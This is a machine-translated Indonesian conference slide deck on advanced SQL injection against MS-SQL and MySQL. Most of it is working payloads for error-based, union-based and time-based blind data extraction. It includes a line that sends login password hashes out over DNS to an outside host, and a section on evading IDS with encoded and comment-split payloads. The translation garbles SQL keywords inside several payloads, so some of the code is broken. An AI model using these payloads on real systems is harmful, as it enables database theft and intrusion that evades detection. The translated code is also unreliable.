Anda di halaman 1dari 47

Machine Translated by Google

Injeksi SQL Tingkat Lanjut


Dipersembahkan oleh:
Joe McCray

joe@learnsecurityonline.com

http://twitter.com/j0emccray

http://www.linkedin.com/in/joemccray
Machine Translated by Google

Joe McCray.... Siapa kamu?


Yang Terakhir dari Breed yang Mati

Penguji Penetrasi Jaringan

Anda tahu – tipe pria nmap, exploit, upload netcat.

alias:
Orang kulit hitam di konferensi keamanan
Machine Translated by Google

Bagaimana Saya Melempar...

• saya meretas

• aku mengutuk


SAYA MINUM (Rum & Coke)
Machine Translated by Google

Saya Akan Mempelajari Anda SQL Injection

Identifikasi – Cara menemukan SQLI

Metodologi Serangan – Proses dan sintaks yang saya gunakan

Tidak Tertangkap – Bagaimana melakukannya tanpa ketahuan


Machine Translated by Google

3 Kelas SQLI
SQL Injection dapat dipecah menjadi 3 kelas

Inband - data diekstraksi menggunakan saluran yang sama yang digunakan untuk menyuntikkan kode SQL.
Ini adalah jenis serangan yang paling mudah, di mana data yang diambil disajikan langsung di halaman
web aplikasi

Out-of-Band - data diambil menggunakan saluran yang berbeda (misalnya: email dengan hasil kueri dibuat dan
dikirim ke penguji)

Inferensial - tidak ada transfer data yang sebenarnya, tetapi penguji dapat merekonstruksi informasi
dengan mengirimkan permintaan tertentu dan mengamati perilaku yang dihasilkan dari situs web/Server DB.
Machine Translated by Google

Masuk:
Data diekstraksi menggunakan saluran yang sama yang digunakan untuk menyuntikkan
kode SQL.

Ini adalah jenis serangan yang paling mudah, di mana data yang diambil disajikan langsung
di halaman web aplikasi

Jadi ini adalah Injeksi SQL Berbasis Kesalahan dan Berbasis Serikat kami

http://[site]/page.asp?id=1 atau 1=convert(int,(USER))--

Kesalahan sintaks mengubah nilai nvarchar '[j0e]' ke kolom tipe data int.
Machine Translated by Google

Di luar band:
Data diambil menggunakan saluran yang berbeda (misalnya: email dengan
hasil kueri dibuat dan dikirim ke penguji).

Ini adalah cara lain untuk mengeluarkan data dari server (seperti http, atau dns).

http://[situs]/page.asp?id=1;deklarasikan @host varchar(800); pilih @host = nama


+ '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' dari
sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');--
Machine Translated by Google

Inferensial:
Jika aplikasi mengembalikan pesan kesalahan yang dihasilkan oleh kueri yang
salah, maka mudah untuk merekonstruksi logika kueri asli dan oleh karena itu
memahami cara melakukan injeksi dengan benar.

Namun, jika aplikasi menyembunyikan detail kesalahan, maka penguji harus


dapat merekayasa balik logika kueri asli.

Kasus terakhir ini dikenal sebagai "Blind SQL Injection".

http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:10'--
Tanyakan apakah itu berjalan sebagai 'sa'
Machine Translated by Google

Mengapa 1=1 atau A=A?


Katakanlah Anda memiliki tabel nama pengguna dan kata sandi:

Nama belakang Kata sandi

admin kata sandi


Jim Balok

Johnny Pejalan
Machine Translated by Google

Mengapa 1=1 atau A=A?


Katakanlah Anda memiliki beberapa kode untuk login situs web Anda

Nama belakang Kata sandi

admin kata sandi


Jim Balok

Johnny Pejalan

if ($un dan $pw):

Gabung
kalau tidak

login ditolak
Machine Translated by Google

Mengapa 1=1 atau A=A?


Katakanlah Anda memiliki beberapa kode untuk login situs web Anda

Nama belakang Kata sandi

admin kata sandi


Jim Balok

Johnny Pejalan

if ($un atau 1=1 dan $pw atau 1=1):

Gabung
kalau tidak

login ditolak
Machine Translated by Google

Ada Manajer Proyek di Rumah?


Machine Translated by Google

Bagaimana Dengan Alat????

Alat otomatis adalah cara yang bagus untuk mengidentifikasi SQLI......

Ya mereka ...... hanya sadar akan Jenis Injeksi SQL yang berbeda ....
Machine Translated by Google

Pemindai SQL Vuln


Jadi mari kita mulai dengan beberapa alat yang dapat Anda gunakan untuk mengidentifikasi SQLI juga

jenis yang umumnya mereka identifikasi.

mieliekoek.pl (berdasarkan kesalahan)

wpoison sqlmap (berdasarkan kesalahan)

wapiti (buta secara default, dan serikat jika Anda tentukan)

(berdasarkan kesalahan)

w3af (kesalahan, buta)


hari (kesalahan, buta)
cumi-cumi (kesalahan)

Joe, saya muak dengan omong kosong ini, apa yang Anda maksud dengan berbasis kesalahan, buta, dan persatuan?
Machine Translated by Google

Jenis Injeksi SQL


Injeksi SQL Berbasis Kesalahan

Injeksi SQL Berbasis Serikat

Injeksi SQL Buta

Kesalahan:

Mengajukan pertanyaan kepada DB yang akan menyebabkan kesalahan, dan mengumpulkan informasi dari
kesalahan.

Persatuan:

SQL UNION digunakan untuk menggabungkan hasil dari dua atau lebih SELECT SQL

pernyataan menjadi satu hasil. Sangat berguna untuk SQL Injection :)

Buta:

Mengajukan pertanyaan benar/salah kepada DB dan menggunakan apakah halaman yang valid dikembalikan atau tidak, atau

dengan menggunakan waktu yang dibutuhkan halaman valid Anda untuk kembali sebagai jawaban atas pertanyaan tersebut.
Machine Translated by Google

Metodologi saya
Bagaimana saya menguji SQL Injection

Mengenali
* Identifikasi Injeksi (Alat atau Manual)
*
Tentukan Jenis Injeksi (Bilangan bulat atau String)

Menyerang
*
Injeksi SQL Berbasis Kesalahan (Termudah)
*
Injeksi SQL Berbasis Serikat (Bagus untuk ekstraksi data)
*
Injeksi SQL Buta (Kasus terburuk .... pilihan terakhir)
Machine Translated by Google

Mengapa Fokus Pada Pengujian Manual


Sekarang setelah Anda memahami bahwa ada 3 jenis utama SQL Injection....

- Dapatkah Anda memahami mengapa dapat menguji SQLI secara manual itu penting?

- SQL Injection Scanner umumnya akan mencari 1 jenis injeksi.....


- Pemindai mungkin memberi tahu Anda bahwa situs tersebut tidak rentan padahal sebenarnya.
Machine Translated by Google

Tentukan Jenis Injeksi


Apakah ini berbasis integer atau string?

Integer Integer:
http://[site]/page.asp?id=1 memiliki 1=1--

Kolom '[NAMA KOLOM]' tidak valid dalam daftar pilihan karena tidak
terdapat dalam fungsi agregat dan tidak ada klausa GROUP BY.

Injeksi String:
http://[site]/page.asp?id=x' memiliki 1=1--

Kolom '[NAMA KOLOM]' tidak valid dalam daftar pilihan karena tidak
terdapat dalam fungsi agregat dan tidak ada klausa GROUP BY.
'
atau tidak.
Menentukan inilah yang menentukan apakah Anda membutuhkan
Machine Translated by Google

Mari kita mulai dengan sintaks MS-SQL

Saya akan mengatakan bahwa MS-SQL Injection mungkin yang paling menyenangkan ;)

Selalu ada kemungkinan untuk mendapatkan akses ke prosedur tersimpan


seperti xp_cmdshell
.......muahahahahahahahahahaha

Kami akan menghabiskan sedikit waktu di MySQL, dan tidak terlalu banyak waktu di
Oracle karena sintaks injeksinya cukup mirip dengan MS-SQL. Tapi terutama demi waktu
kita akan fokus pada MS-SQL.
Machine Translated by Google

Sintaks Injeksi SQL Berbasis Kesalahan


untuk mengekstrak USER
http://[site]/page.asp?id=1 atau 1=convert(int,(USER))--

Kesalahan sintaks mengubah nilai nvarchar '[DB USER]' ke kolom tipe data int.

Ambil pengguna database dengan USER


Ambil nama database dengan DB_NAME
Ambil nama server dengan @@namaserver
Dapatkan versi Windows/OS dengan @@version
Machine Translated by Google

Sintaks Injeksi SQL Berbasis Serikat untuk mengekstrak USER


http://[site]/page.asp?id=1 UNION SELECT ALL 1--

Semua kueri dalam pernyataan SQL yang berisi operator UNION harus memiliki jumlah
ekspresi yang sama dalam daftar targetnya.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--

Semua kueri dalam pernyataan SQL yang berisi operator UNION harus memiliki jumlah
ekspresi yang sama dalam daftar targetnya.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--

Semua kueri dalam pernyataan SQL yang berisi operator UNION harus memiliki jumlah
ekspresi yang sama dalam daftar targetnya.

http://[site]/page.asp?id=1 UNION PILIH SEMUA 1,2,3,4--

TIDAK ADA KESALAHAN

http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--


Machine Translated by Google

Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA

3 - Jumlah Karakter

http://[situs]/page.asp?id=1; JIKA (LEN(USER)=1) WAITFOR DELAY '00:00:10'--


Halaman yang valid segera kembali

http://[situs]/page.asp?id=1; JIKA (LEN(USER)=2) WAITFOR DELAY '00:00:10'--


Halaman yang valid segera kembali

http://[situs]/page.asp?id=1; JIKA (LEN(USER)=3) WAITFOR DELAY '00:00:10'--


Halaman yang valid kembali setelah penundaan 10 detik
Machine Translated by Google
Machine Translated by Google

Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA

D - Karakter Pertama

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'


Halaman yang valid segera kembali

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--


Halaman yang valid segera kembali

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--


Halaman yang valid segera kembali

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- Halaman


yang valid kembali setelah penundaan 10 detik
Machine Translated by Google

Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA

B - Karakter ke-2
http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY
'00:00:10'-- Halaman yang valid segera kembali

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 detik)


Halaman yang valid kembali setelah penundaan 10 detik
Machine Translated by Google

Sintaks Injeksi SQL Buta untuk mengekstrak PENGGUNA

O - Karakter ke-3

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Halaman yang valid segera

kembali

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),3,1)))>98) WAITFOR DELAY '00:00:10'--

Halaman yang valid segera kembali

.....dan seterusnya

http://[situs]/page.asp?id=1; JIKA (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--

Halaman yang valid kembali setelah penundaan 10 detik

Pengguna Basis Data = DBO


Machine Translated by Google

Mari kita beralih ke sintaks MySQL

Dengan MySQL Anda benar-benar hanya memiliki:

* Berbasis Serikat
* Buta
Machine Translated by Google

MySQL
Dengan MySQL Anda biasanya akan menggunakan SQL Injection union atau true/false
blind sehingga Anda benar-benar perlu tahu banyak tentang DB yang Anda serang seperti:

* jumlah kolom
* nama kolom
*
jalan ke situs web

Jadi, Anda perlu menghitung informasi ini terlebih dahulu.

Operator UNION digunakan untuk menggabungkan kumpulan hasil dari dua atau lebih
pernyataan SELECT. Perhatikan bahwa setiap pernyataan SELECT dalam UNION harus me
jumlah kolom yang sama. Kolom juga harus memiliki tipe data yang serupa.
Juga, kolom di setiap pernyataan SELECT harus dalam urutan yang sama.
Machine Translated by Google

Pencacahan nomor kolom


http://[site]/page.php?id=1 order by 10/* <- memberikan kolom '10' yang tidak diketahui di
'order clause'

http://[site]/page.php?id=1 order sebelum 5/* <- memberikan halaman yang valid

http://[site]/page.php?id=1 order by 6/* <- memberikan kolom Unknown '6' di 'order clause'

Jadi sekarang kita tahu ada 5 kolom.

Omong-omong, Anda juga dapat melakukan ini dengan MSSQL.


Machine Translated by Google

Membangun serikat
http://[site]/page.php?id=1 union all pilih 1,2,3,4,5/* <-- memberikan halaman yang valid

Ubah bagian pertama kueri ke nilai nol atau negatif sehingga kami dapat melihat bidang apa yang
akan mengembalikan data kepada kami.

http://[site]/page.php?id=-1 union all select 1,2,3,4,5/* <-- memberikan halaman yang valid tetapi dengan
nomor 2, dan 3 di atasnya
atau

http://[site]/page.php?id=null union all select 1,2,3,4,5/* <- memberikan halaman yang valid tetapi
dengan nomor 2, dan 3 di atasnya

Sekarang kita tahu bahwa kolom nomor 2 dan 3 akan menggemakan data kembali kepada kita.
Machine Translated by Google

Membangun serikat
http://[site]/page.php?id=null union semua pilih 1,2,3,4,5,6,7/*

http://[site]/page.php?id=null union semua pilih 1,2,user(),4,5,@@version,7/ *


Machine Translated by Google

Pengumpulan Informasi

http://[site]/page.php?id=null union semua pilih 1,user(),3,4,5/


* http://[site]/page.php?id=null union semua pilih 1 ,2,database(),4,5/
* http://[site]/page.php?id=null union semua pilih 1,@@version,@@datadir,4,5/ *

Ambil pengguna basis data dengan pengguna ()


Ambil nama database dengan database()
Ambil versi database dengan @@version
Ambil direktori data database dengan @@datadir
Machine Translated by Google

Tidak Tertangkap
Machine Translated by Google

Filter Evasion
Saya tahu bahwa orang sering berpikir hal ini sangat hitam dan putih, dipotong dan kering -
tetapi kebenaran sederhana dengan injeksi sql kadang-kadang Anda hanya memiliki firasat
bahwa Anda sedang melihat halaman yang rentan.

Anda telah mencoba banyak hal tetapi untuk beberapa alasan sepertinya tidak ada yang berhasil.
Anda mungkin menghadapi semacam penyaringan. Mungkin pengembang telah mencoba
menghentikan injeksi sql dengan hanya mengizinkan karakter alfanumerik sebagai input.
Machine Translated by Google

Penyaringan Sisi Klien

Hal pertama yang ingin kita lakukan adalah menentukan apakah pemfilteran adalah sisi klien (mis:
dilakukan dengan javascript).

Lihat kode sumber dan cari parameter apa pun yang diteruskan ke situs web yang dapat difilter
dengan javascript/vbscript dan hapus

- Simpan halaman secara lokal dan hapus javascript/vbscript yang menyinggung


atau

- Gunakan proxy lokal (mis: Paros, Webscarab, Burp Suite)


Machine Translated by Google

Daftar Hitam Terbatas


Filter Alfanumerik sisi server

http://[site]/page.asp?id=2 atau 1 suka 1

Di sini kita melakukan “atau benar”, meskipun kali ini kita menggunakan
perbandingan “suka” alih-alih tanda “=”. Kita bisa menggunakan teknik yang sama
untuk varian lain seperti “and 1 like 1” atau “and 1 like 2”

http://[site]/page.asp?id=2 dan 1 suka 1


http://[site]/page.asp?id=2 dan 1 suka 2
Machine Translated by Google

IDS Berbasis Tanda Tangan


Kunci penghindaran IDS/IPS adalah mengetahui bahwa ada satu di tempat.

Dengan IPS Anda dapat menggunakan sesuatu seperti Deteksi Filter Aktif atau Anda dapat mencoba
sesuatu yang BENAR-BENAR berisik dari alamat IP lain untuk melihat apakah IP Anda diblokir.

Bergantung pada ruang lingkup keterlibatan Anda, Anda mungkin atau mungkin tidak benar-benar dapat
mengidentifikasi kapan IDS digunakan karena sifatnya pasif.

Sejujurnya saya menemukan sisi rumah ini menjadi lebih banyak bukti konsep, dan hanya bersenang-
senang sebagai lawan dari sesuatu yang sebenarnya saya butuhkan dalam penilaian.
Machine Translated by Google
Machine Translated by Google

IDS Berbasis Tanda Tangan (1)


Signature 1
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection upaya”; aliran: to_server,
“'
didirikan; konten: atau 1=1 --”; tidak ada kasus; sisi: 1; rev:1;)

Teknik Bypass: http://


[site]/page.asp?id=2 or 2=2-- http://[site]/
page.asp?id=2 or 1<2-- http://[ site]/
page.asp?id=2 atau 1 like 1-- http://[site]/
page.asp?id=2 /**/or /**/2/**/=/**/ 2-- .... ayo semuanya
sebutkan lagi

Tanda Tangan Negatif -


Memiliki ' di tanda tangan akan menyebabkan Anda melewatkan serangan yang tidak
menggunakan ' - 1=1 bukan satu-satunya cara untuk membuat kueri yang mengembalikan "benar" (mis: 2=2, 1
Jika tanda tangan ini begitu mudah dilewati, untuk apa sebenarnya itu?

Menjawab:
Ini bagus untuk alat otomatis dan anak-anak
Machine Translated by Google

IDS Berbasis Tanda Tangan (Pendapat Saya)


Machine Translated by Google

IDS Berbasis Tanda Tangan (2)


Signature 2
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection upaya”; flow: to_server,
didirikan; pcre: “/(dan|atau) 1=1 (\-\-|\/\*| \#)/i”; sid: 1; rev:2;)

Teknik Bypass: http://


[site]/page.asp?id=2 or 2=2%2D%2D http://[site]/
page.asp?id=2 or 1<2%2D%2D http ://[site]/page.asp?
id=2 atau 1 suka 1%2D%2D http://[site]/page.asp?id=2 /**/
or /**/2/** /=/**/2%2D%2D .... ayo semuanya sebutkan lagi

Tanda Tangan Negatif -


1=1 bukan satu-satunya cara untuk membuat kueri yang mengembalikan "benar" (mis: 2=2, 1<2, dll)
- Komentar seperti hampir semua hal lain dapat direpresentasikan dalam jenis pengkodean lain (mis:
(%2D%2D = --)
- Ada kemungkinan untuk menyerang kerentanan injeksi sql tanpa menggunakan komentar Jika
tanda tangan ini begitu mudah dilewati, apa gunanya sebenarnya?

Menjawab:
Sekali lagi, ini bagus untuk alat otomatis dan anak-anak
Machine Translated by Google

Signature 3-5
IDS Berbasis Tanda Tangan (3-5)
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”;
flow: to_server, didirikan; pcre:”/select.*from.*(\-\-|\/\* |\#)/i”; sid: 2; rev: 1;)

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “pernyataan SQL Injection
UNION”; aliran: to_server, didirikan; pcre:”/union.*(\-\-|\/\*|\#)/i” ; sid: 3; putaran: 1;)

Teknik Bypass: http://


[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D
http://[site]/page.asp?id=2 atau 2 in (pilih pengguna)--

http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201 ,2,3,(%73%65%6C


%65%63%74%20%75%73%655%72),5,6,7%2D%2D
http://[site]/page.asp?id=-2 UNION ALL pilih 1,2,3,(pilih pengguna),5,6,7--
.... ayo semuanya sebutkan lagi

Tanda Tangan Negatif


- Meskipun sigs 3-5 jauh lebih baik, mereka tidak menganggap penyerang dapat menggunakan jenis pengkodean yang berbeda seperti hex
Machine Translated by Google

IDS Berbasis Tanda Tangan (6-7)


Signature 6
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, map; pcre:”/(s|%73)(e|%65)(l|
%6C) (e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\ -|\/\*|\#)/i”; sid: 2; rev2;)

Signature 7
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server, map; pcre:”/(s|%73|%53)(e|
%65|%45) (l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r| %72|%52)(o| %6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3 ;)

Setidaknya tanda tangan 7 memperhitungkan sensitivitas huruf besar/kecil dengan pengkodean hex.

Tetapi.....

Selalu ada jenis penyandian lain yang dapat digunakan penyerang...


Machine Translated by Google

Latih Kung Fu Anda: PHPIDS


Machine Translated by Google

Latih Kung Fu Anda: PHPIDS


Machine Translated by Google

IDS Berbasis Tanda Tangan


Trik sebenarnya untuk masing-masing teknik ini adalah untuk memahami bahwa ini seperti penghindaran IDS
di sisi eksploitasi berbasis layanan rumah.

Anda harus memastikan bahwa serangan Anda benar-benar berfungsi. Sangat mudah untuk melewati IDS, tetapi
Anda dapat dengan mudah berakhir dengan serangan Anda melewati IDS, tetapi tidak berfungsi sama sekali.

Dengan mengingat hal ini, Anda dapat mencampur/mencocokkan trik penghindaran IDS - ini hanya masalah
memahami regex yang digunakan.

http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/
%6C/*mudah*/%65/*hanya*/%63/*minta*/%74/*j0e*/%20%75/*kepada*/%73/*ajar*/%65/*kamu* /
%72/*bagaimana*/)%2D%2D

Apa yang diteruskan ke db


http://[site]/page.asp?id=2 atau 2 in (pilih pengguna)--
dalam komentar ("Penghindaran IDS itu mudah, minta saja j0e untuk mengajari Anda caranya")
Machine Translated by Google

Halo @ Saya....
Anda ingin presentasi?????

Belikan saya rum dan coke atau email saya....

Anda dapat menghubungi saya di:

Surel: joe@learnsecurityonline.com

Twitter: http://twitter.com/j0emccray

LinkedIn: http://www.linkedin.com/in/joemccray

Anda mungkin juga menyukai